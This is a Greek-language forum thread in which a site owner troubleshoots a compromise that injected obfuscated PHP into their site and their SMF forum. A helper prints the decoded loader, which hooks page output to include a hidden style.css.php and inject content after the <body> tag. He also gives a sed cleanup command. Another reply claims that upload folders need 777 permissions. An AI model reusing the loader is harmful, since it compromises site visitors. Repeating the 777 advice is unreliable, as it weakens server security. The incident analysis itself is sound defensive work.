Evangeli Δημοσ. 6 Οκτωβρίου 2009 Δημοσ. 6 Οκτωβρίου 2009 Καλησπέρα σε όλους. Πρόσφατα παρατήρησα στο site μου πως κάποιος "καλός" άνθρωπος (μπορεί να ήταν και botaki, δεν παίρνω όρκο) είχε τοποθετήσει στο πάνω μέρος ορισμένων αρχείων μια συνάρτηση με ακαταλαβίστικες παραμέτρους... Αυτό είχε ως αποτέλεσμα προβλήματα στο designing (μπορεί και ακόμα περισσότερα που να μην τα έχω πάρει χαμπάρι). Anyway. Εγώ, αυτό που θα ήθελα να ρωτήσω είναι τι μπορώ να κάνω για να μην μπορεί να γράφει ο κάθε κ@φρ0σ ότι γουστάρει... π.χ. μήπως αυτό θα μπορούσε να γίνει παίζοντας με permissions και αν ναι, τι "νούμερο" θα πρέπει να θέσω? Το κάθε αρχείο - σελίδα δημιουργείτε ΜΙΑ μόνο φορά και ξανα τροοποιείται ποτέ. Με Filezilla πάντως που το δοκίμασα (δεξί κλικ --> File permissions...) δεν με αφήνει να βάλω 444 που θεωρώ ως ιδανικό.
Uberalles_gr Δημοσ. 7 Οκτωβρίου 2009 Δημοσ. 7 Οκτωβρίου 2009 Καταρχάς, εδώ υπάρχει μεγάλο ΘΕΜΑ φίλε σε σχέση με το security του site και γενικά του hosting ! Για να πας να πειράξεις κάποια αρχεία πάνω στον server πρέπει να ξέρεις τους κωδικούς για το ftp! Απλώς αυτό που λες είναι τελείως λάθος με το να βάλεις 444 σε κάποια αρχεία ! Και στην τελική εάν εσύ στο μέλλον χρειαστείς έναν φάκελο όπου θα ανεβάζεις από το site κάποια αρχεία (εικόνες, pdf, ...) τότε ο φάκελος θα πρέπει να έχει 777 δικαιώματα!
Evangeli Δημοσ. 7 Οκτωβρίου 2009 Μέλος Δημοσ. 7 Οκτωβρίου 2009 Καταρχάς, εδώ υπάρχει μεγάλο ΘΕΜΑ φίλε σε σχέση με το security του site και γενικά του hosting ! Για να πας να πειράξεις κάποια αρχεία πάνω στον server πρέπει να ξέρεις τους κωδικούς για το ftp! Θα μπορούσες να μου περιγράψεις τι ακριβώς θα μπορούσε να φταίει? Τι πρέπει να ζητήσω απο εκείνον που κάνει το hosting και σε ποιο ακριβώς σημείο του site θα πρέπει να επέμβω? Απλώς αυτό που λες είναι τελείως λάθος με το να βάλεις 444 σε κάποια αρχεία ! Και στην τελική εάν εσύ στο μέλλον χρειαστείς έναν φάκελο όπου θα ανεβάζεις από το site κάποια αρχεία (εικόνες, pdf, ...) τότε ο φάκελος θα πρέπει να έχει 777 δικαιώματα! Βασικά, τώρα που το σκέφτομαι, μήπως οφήλεται στο οτι το config file ενός script περιέχεtαι το password (οχι όμως και το username, αν και δεν ειναι δύσκολο να εντοπιστεί) που τυχαίνιε να είναι ίδιο με το ftp account? Ακόμα και έτσι όμως, εγώ πιστέυω οτι κάτι αλλο πρέπει να φταίει... Παρακαλώ βοηθείστε...
Uberalles_gr Δημοσ. 9 Οκτωβρίου 2009 Δημοσ. 9 Οκτωβρίου 2009 Συνήθως το config file , χρησιμοποιείται για την σύνδεση με την βάση. Έχεις βάση εσύ στο site σου? Και άλλο οι κωδικοί για την βάση και άλλοι οι κωδικοί για το ftp σου! To site στο φτιάξανε? Το έφτιαξες εσύ και απλώς το ανέβασες σε κάποιο domain που νοίκιασες?
Evangeli Δημοσ. 9 Οκτωβρίου 2009 Μέλος Δημοσ. 9 Οκτωβρίου 2009 Συνήθως το config file , χρησιμοποιείται για την σύνδεση με την βάση. Έχεις βάση εσύ στο site σου? Και άλλο οι κωδικοί για την βάση και άλλοι οι κωδικοί για το ftp σου! To site στο φτιάξανε? Το έφτιαξες εσύ και απλώς το ανέβασες σε κάποιο domain που νοίκιασες? Το config file για την βάση το χρησιμοποιώ. αλλάζει μόνο το user name. το password ειναι το ίδιο. Το εφτιαξα εγώ και το ανέβασα στον host. Καμοιά ιδέα για το πρόβλημα μου?
Uberalles_gr Δημοσ. 9 Οκτωβρίου 2009 Δημοσ. 9 Οκτωβρίου 2009 Θα πρέπει να μιλήσεις μαζί τους για αυτό που σου έτυχε και εάν έγινε και σε κάποια άλλα site που έχουν σαν εταιρεία ! Πάντως ΜΟΝΟ εάν έχεις τους κωδικούς ftp μπορείς να κατεβάσεις ένα αρχείο από το site και να το επεξεργαστείς και να το ξανά ανεβάσεις. Πολύ απλά ΜΙΛΑ ΜΑΖΙ τους για το συμβάν αυτό γιατί είναι πολύ σημαντικό !
nske Δημοσ. 13 Οκτωβρίου 2009 Δημοσ. 13 Οκτωβρίου 2009 μια συνάρτηση με ακαταλαβίστικες παραμέτρους... Μπορείς να παραθέσεις τον ύποπτο κώδικα; Με Filezilla πάντως που το δοκίμασα (δεξί κλικ --> File permissions...) δεν με αφήνει να βάλω 444 που θεωρώ ως ιδανικό. Αν έχεις συνδεθεί κανονικά με FTP και ο ιδιοκτήτης των συγκεκριμένων αρχείων είναι ο χρήστης ως ο οποίος συνδέεσαι μέσω FTP, θα έπρεπε να σε αφήνει. Ρώτησε τον διαχειριστή του server γιατί δε σε αφήνει. Είναι πολύ σημαντικό να ορίζεις ελάχιστα δικαιώματα στα αρχεία (δυστυχώς ελάχιστοι το προσέχουν). Επίσης είναι πολύ κακό το ότι χρησιμοποιείς τον ίδιο κωδικό για FTP, ο οποίος βρίσκεται σε ένα αρχείο στο οποίο έχει πρόσβαση ανάγνωσης ο HTTP server. Πάντως ΜΟΝΟ εάν έχεις τους κωδικούς ftp μπορείς να κατεβάσεις ένα αρχείο από το site και να το επεξεργαστείς και να το ξανά ανεβάσεις. Αν αναφέρεσαι στον εισβολέα, δεν είναι απαραίτητο αυτό. Αν ο χρήστης ως ο οποίος εκτελείται ο HTTP server έχει δικαιώματα εγγραφής πάνω στο αρχείο, είτε επειδή είναι ο ιδιοκτήτης του, είτε επειδή του το επιτρέπουν τα permissions του αρχείου, τότε κάποιος θα μπορούσε να τροποποιήσει το αρχείο μέσω της PHP π.χ., εκμεταλλευόμενος κάποιο XSS ελάττωμα στον κώδικα κάποιου script είτε του ίδιου site, είτε και οποιουδήποτε άλλου site φιλοξενείται στον ίδιο server -αν δεν βρίσκεται κάθε site σε απομονωμένο περιβάλλον, όπως δε βρίσκεται στους περισσότερους hosts. Υσ. @Evangeli, μπορείς επίσης να ρήξεις μια ματιά στα περιεχόμενα του access log της περιόδου που έγινε το συμβάν (αν το έχεις) για ύποπτα GET requests που θα πρόδιδαν exploitation.
Evangeli Δημοσ. 14 Οκτωβρίου 2009 Μέλος Δημοσ. 14 Οκτωβρίου 2009 Λοιπόν, ο κώδικας επισυνάπτεται διότι είναι ολίγων τι μακρινάρι! Καμιά ιδέα για το τι μπορεί να σημαίνει? Θα επικοινωνήσω αύριο κιόλας με την εταιρεία που μου κάνει το hosting καθώς το θέμα είναι πάρα πολύ σημαντικό! Σήμερα ανακάλυψα ότι μου έχουν @#@((*# και όλα τα αρχεία του forum (SMF)! Υ.Γ.: Εκτός από τα μέτρα που πρέπει να λάβω με την συνεργασία της εταιρείας, θα πρέπει ακόμα να διαγράψω την συγκεκριμένη γραμμή από όλα τα αρχεία. Καμιά ιδέα πριν αρχίσω να ψάχνω? Μήπως γίνεται ευκολότερα με Unix? Βασικά πρέπει, δοθέντος ενός root, να γίνεται open καθενός αρχείου κάτω από αυτό το root και σε περίπτωση που εντοπίζεται το συγκεκριμένο string να διαγράφεται και να αποθηκεύεται το περιεχόμενο του επεξεργασμένου - πλέον - αρχείου. code.txt
nske Δημοσ. 14 Οκτωβρίου 2009 Δημοσ. 14 Οκτωβρίου 2009 Λοιπόν, ο κώδικας επισυνάπτεται διότι είναι ολίγων τι μακρινάρι! Καμιά ιδέα για το τι μπορεί να σημαίνει? Είναι obfuscated κώδικας PHP, δηλαδή κώδικας ο οποίος έχει υποστεί κάποιες εύκολα αναστρέψιμες μετατροπές (στην προκειμένη, Deflate και Base64 encoding) προκειμένου να αλλάξει η εμφάνισή του σε κάτι που δε φαίνεται να βγάζει νόημα. >if(function_exists('ob_start') && !isset($GLOBALS['sh_no'])){ $GLOBALS['sh_no'] = 1; if(file_exists('/home/crazy/public_html/forum/FCKeditor/editor/filemanager/browser/default/images/icons/32/style.css.php')){ include_once('/home/crazy/public_html/forum/FCKeditor/editor/filemanager/browser/default/images/icons/32/style.css.php'); if(function_exists('gml') && !function_exists('dgobh')){ if(!function_exists('gzdecode')){ function gzdecode($var1){ $var2 = ord(substr($var1, 3, 1)); $var3 = 10; $var4 = 0; if($var2&4){ $var4 = unpack('v',substr($var1, 10, 2)); $var4 = $var4[1]; $var3 += 2 + $var4;} if($var2&8) $var3 = strpos($var1, chr(0), $var3) + 1; if($var2&16) $var3 = strpos($var1, chr(0), $var3) + 1; if($var2&2) $var3 += 2; $var5 = gzinflate(substr($var1, $var3)); if($var5 === FALSE) $var5 = $var1; return $var5;}} function dgobh($var6){ Header('Content-Encoding: none'); $var7 = gzdecode($var6); if(preg_match('/<body/si', $var7)) return preg_replace('/(<body[^>]*>)/si', '$1' . gml(), $var7); else return gml() . $var7;} ob_start('dgobh');}}} (αν και με αυτόν τον τρόπο το μόνο που κατάφεραν είναι να βγάζει μάτι ότι είναι ξένος ) Το ουσιαστικό μέρος θα βρίσκεται στο αρχείο: >/home/crazy/public_html/forum/FCKeditor/editor/filemanager/browser/default/images/icons/32/style.css.php Το πιθανότερο είναι ότι πρόκειται για μαζική, αυτοματοποιημένη επίθεση σε κάποια συγκεκριμένη αδυναμία του SMF (μάλλον θα έχεις πιο παλιά έκδοση). Δυστυχώς το SMF δε φαίνεται να έχει κάποια ανοιχτή Mailing list για να λαμβάνουν οι χρήστες ειδοποιήσεις, όμως με κάποιο τρόπο θα πρέπει να φροντίζεις να ενημερώνεσαι για security-related bugs που ανακοινώνονται και να το αναβαθμίζεις. Εκτός από τα μέτρα που πρέπει να λάβω με την συνεργασία της εταιρείας, θα πρέπει ακόμα να διαγράψω την συγκεκριμένη γραμμή από όλα τα αρχεία. Καμιά ιδέα πριν αρχίσω να ψάχνω? Μήπως γίνεται ευκολότερα με Unix? Βασικά πρέπει, δοθέντος ενός root, να γίνεται open καθενός αρχείου κάτω από αυτό το root και σε περίπτωση που εντοπίζεται το συγκεκριμένο string να διαγράφεται και να αποθηκεύεται το περιεχόμενο του επεξεργασμένου - πλέον - αρχείου. Είναι καλύτερη ιδέα να τα διαγράψεις όλα και να ανεβάσεις από την αρχή το SMF και οποιαδήποτε άλλα αρχεία είχες, καθώς δε ξέρεις τι άλλο μπορεί να έχει τροποποιηθεί ή προστεθεί. Πάντως για να κάνεις αυτό που λες θα μπορούσες να δώσεις π.χ.: >$ string="C9ob21lL2NyYXp5L3B1YmxpY19odG1sL2ZvcnVtL0ZDS2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9kZWZhdWx0L2ltYWdlcy9pY29ucy8zMi9zdHlsZS5jc3MucGhw" $ find /root/path -iname "*.php" -type f -exec sed -i "/$string/d" {} \;
Evangeli Δημοσ. 5 Νοεμβρίου 2009 Μέλος Δημοσ. 5 Νοεμβρίου 2009 @nske: Πως καταλάβαμε το είδος της επεξεργασίας που έχει υποστεί ο κακόβουλος κώδικας? (στην προκειμένη περίπτωση Deflate και Base64 encoding)? Επισυνάπτω τον κώδικά Java που έτρεξα για τον καθαρισμό των αρχείων. Δέχεται ως είσοδο το root directory και "φυτευτό" - στον κώδικα - το τύπο των αρχείων που αναζητά (π.χ. php για .php αρχεία). Αν εντοπίσει την συγκεκριμένη λέξη-γραμμή, την σβήνει. Παράλληλα, αναζητά μια συγκεκριμένη λέξη π.χ. "password" και μας επιστρέφει που εντοπίστηκε. Η διαδικασία πραγματοποιείται αναδρομικά. Νομίζω ότι πλέον έχω "καθαρίσει" με τον κακόβουλο κώδικά. Επίσης, ανανέωσα τους κωδικούς FTP και φρόντισα ώστε να μην ταιριάζουν με εκείνους της MySQL. Πουθενά μέσα στον κώδικα δεν εντοπίζεται FTP Account. Πως μπορώ όμως να αποκρύψω και τα στοιχεία της βάσης που συνήθως εμφανίζονται στο connection string? $nletter = mysql_connect($hostname, $username, $password) or trigger_error(mysql_error(),E_USER_ERROR); find.obfuscated.php.code.zip
nske Δημοσ. 5 Νοεμβρίου 2009 Δημοσ. 5 Νοεμβρίου 2009 @nske: Πως καταλάβαμε το είδος της επεξεργασίας που έχει υποστεί ο κακόβουλος κώδικας? (στην προκειμένη περίπτωση Deflate και Base64 encoding)? ><? /**/eval(base64_decode('[...] http://en.wikipedia.org/wiki/Base64 http://php.net/manual/en/function.base64-decode.php > [...] function gzdecode($var1) [...] $var5 = gzinflate(substr($var1, $var3)); [...] http://en.wikipedia.org/wiki/Gzip http://php.net/manual/en/function.gzdecode.php http://php.net/manual/en/function.gzinflate.php Πως μπορώ όμως να αποκρύψω και τα στοιχεία της βάσης που συνήθως εμφανίζονται στο connection string? Δε μπορείς -θα μπορούσες να τα κάνεις obfuscate με παρόμοιες αναστρέψιμες μετατροπές, όμως οποιοσδήποτε ξέρει 5 πράγματα θα μπορεί εύκολα να τα αποκωδικοποιήσει. Για κάτι παραπάνω θα πρέπει αναγκαστικά να υλοποιηθεί κάποιο λογισμικό σε επίπεδο HTTP server, το οποίο να αποκρυπτογραφεί τον κώδικα πριν σταλεί στον PHP interpreter για εκτέλεση. Παραδείγματα τέτοιου λογισμικού: Zend Guard Ioncube PHP Encoder Sourceguardian Nucoder SourceCop PHPcipher PHPShadow
Evangeli Δημοσ. 6 Νοεμβρίου 2009 Μέλος Δημοσ. 6 Νοεμβρίου 2009 Ευχαριστώ πολύ nske για τις πληροφορίες. Ήσουν κατατοπιστικότατος!
Προτεινόμενες αναρτήσεις
Αρχειοθετημένο
Αυτό το θέμα έχει αρχειοθετηθεί και είναι κλειστό για περαιτέρω απαντήσεις.